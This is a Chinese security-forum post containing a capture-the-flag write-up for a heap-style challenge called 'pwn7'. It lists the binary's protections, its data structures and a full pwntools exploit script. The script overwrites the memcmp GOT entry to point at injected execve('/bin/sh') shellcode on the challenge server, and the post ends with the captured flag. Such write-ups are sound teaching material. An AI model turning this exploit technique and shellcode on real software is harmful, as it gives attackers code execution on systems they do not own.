首页
社区
课程
招聘
[原创]第7题
2017-11-6 13:29 2806

[原创]第7题

2017-11-6 13:29
2806
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

程序功能

  1. mmap申请4096字节RWX的内存, 用来模拟alloc chunk
  2. 申请一个account, 创建一个character, 到指定location捡item
  3. character.item_head是一个单链表, 捡到的不同item会被插到链表的头部
  4. 捡到已有item时item.count+1, 移除item时item.count-1, item.count为0时从链表移除
  5. chunk.ref_count为0时, chunk会被添加到freelist
  6. chunk.ref_count为0时, 如果chunk.data中的地址符合条件, 则chunk.data会被当作chunk会被添加到freelist
  7. chunk被添加到freelist时, chunk.data的值会被修改指向freelist
  8. cheat功能可以用来overwrite chunk

利用思路

利用cheat在chunk中放置shellcode, 修改got指向chunk中的shellcode

 

相关结构体

struct x_acc
{
  __int64 field_0;
  char username[16];
  char password[16];
  x_character *character;
};

struct x_character
{
  char name[16];
  __int64 health;
  __int64 stamina;
  __int64 weight;
  __int64 location;
  x_item *item_head;
};

struct x_cheat_st
{
  char name[16];
  char content[32];
};

struct x_chunk
{
  __int64 ref_count;
  __int64 size;
  char data[1];
};

struct x_item
{
  __int64 id;
  __int64 weight;
  __int64 count;
  x_item *next;
  __int64 bullet;
  __int64 power;
};

脚本

### python test.py LOCAL=True
from pwn import *
import sys
import time
import re

context(arch='amd64', kernel='amd64', os='linux')
#context.log_level='debug'

elf=ELF('./pwn7')

if args['LOCAL']:
    io=process('./pwn7')
else:
    io=remote('123.206.22.95', 8888)

sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

def cmd_signup(username, password, character_name):
    io.recvuntil('Signup\n==============================')
    io.sendline('2')
    io.recvuntil('input your username')
    io.sendline(username)
    io.recvuntil('input your password')
    io.sendline(password)
    io.recvuntil('input your character\'s name')
    io.sendline(character_name)
    io.recvline()
    return

def cmd_login(username, password):
    io.recvuntil('Signup\n==============================')
    io.sendline('1')
    io.recvuntil('Input your username:')
    io.sendline(username)
    io.recvuntil('Input your password:')
    io.sendline(password)
    return

def cmd_exit():
    io.recvuntil('0.exit')
    io.sendline('0')
    return

def cmd_show():
    io.recvuntil('0.exit\n')
    io.sendline('1')
    io.recvuntil('===============================')
    io.recvuntil('==============================')
    return

def cmd_item_enter():
    io.recvuntil('0.exit')
    io.sendline('2')
    return

def cmd_item_leave():
    io.recvuntil('Your Choice:')
    io.sendline(str(-1))
    io.recvuntil('wrong choice')    
    return

'''
def cmd_item_view(id):
    io.recvuntil('Your Choice:\n')
    io.sendline(str(id))
    data=io.recvuntil('2.return\n')
    io.sendline('2')
    return data
'''

def cmd_item_delete(id):
    io.recvuntil('Your Choice:\n')
    io.sendline(str(id))
    io.recvuntil('2.return\n')
    io.sendline('1')
    data=io.recvuntil('2.return\n')
    io.sendline('2')
    return data

def cmd_goto(location):
    io.recvuntil('0.exit')
    io.sendline('3')
    io.recvuntil('6.Primorsk')
    io.sendline(str(location))
    return

def cmd_explore(l):
    io.recvuntil('0.exit')
    io.sendline('4')
    io.recvuntil('You find:\n')
    s=io.recv(2)
    if s=='no':
        io.recvuntil('found')
        return ''
    s+=io.recvline(0)
    io.recvuntil('Do you want to pick up it?')
    if s in l:
        io.sendline('y')
    else:
        io.sendline('n')
        s=''    
    return s

def cmd_explore_until_success(l):
    while 1:
        item_name=cmd_explore(l)
        print('pickup: %s' % item_name)
        if not (item_name==''):            
            l.remove(item_name)
            break
        time.sleep(1)
    return

def cmd_cheat(first, name, content):
    io.recvuntil('0.exit')
    io.sendline('5')    
    if first==1:
        io.recvuntil('name:')
        io.sendline(name)
        io.recvuntil('content:')
        io.sendline(content)
    else:
        io.recvuntil('content:')
        io.sendline(content)
    return


def exploit():
    username='a'*8
    password='b'*8
    character_name='c'*8
    cmd_signup(username, password, character_name)
    cmd_login(username, password)
    #cmd_show()
    cmd_goto(1)
    cmd_cheat(1, 'x'*8, 'y'*0x18)

    #pickup 2 different items
    l=['98k','S12K','AKM','M16A4','UMP45','SKS','M416','M24','Bandage','Drink','First Aid Kit']
    cmd_explore_until_success(l)
    cmd_explore_until_success(l)

    #delete one item(init freelist)
    cmd_item_enter()
    data=cmd_item_delete(1)
    cmd_item_leave()

    #gdb.attach(io)
    #input()    

    #put fake pointer in item2
    buf=''
    buf+='z'*0x40 #item1(freed)
    #item2 header
    buf+=p64(1) #ref_count
    buf+=p64(0x18) #size
    #item2
    buf+=p64(elf.got['memcmp']) #id(fake pointer)
    buf+=p64(0) #weight
    buf+=p64(1) #count
    buf+=p64(0) #next
    buf+=p64(0) #bullet
    buf+=p64(0) #power
    #freelist
    buf+=p64(0) #ref_count
    buf+=p64(0x20) #size
    buf+=p64(0)
    buf+=p64(0)
    cmd_cheat(0, 'x'*8, 'y'*0x20+buf)
    #overwrite target with freelist+0x10
    cmd_item_enter()
    data=cmd_item_delete(1)
    cmd_item_leave()

    #copy shellcode to freelist+0x10
    buf=''
    buf+='z'*0xA0
    buf+=sc
    cmd_cheat(0, 'x'*8, 'y'*0x20+buf)

    cmd_exit()

    #trigger memcmp(call shellcode)
    cmd_login(username, password)    

    io.interactive()

    return

exploit()

flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回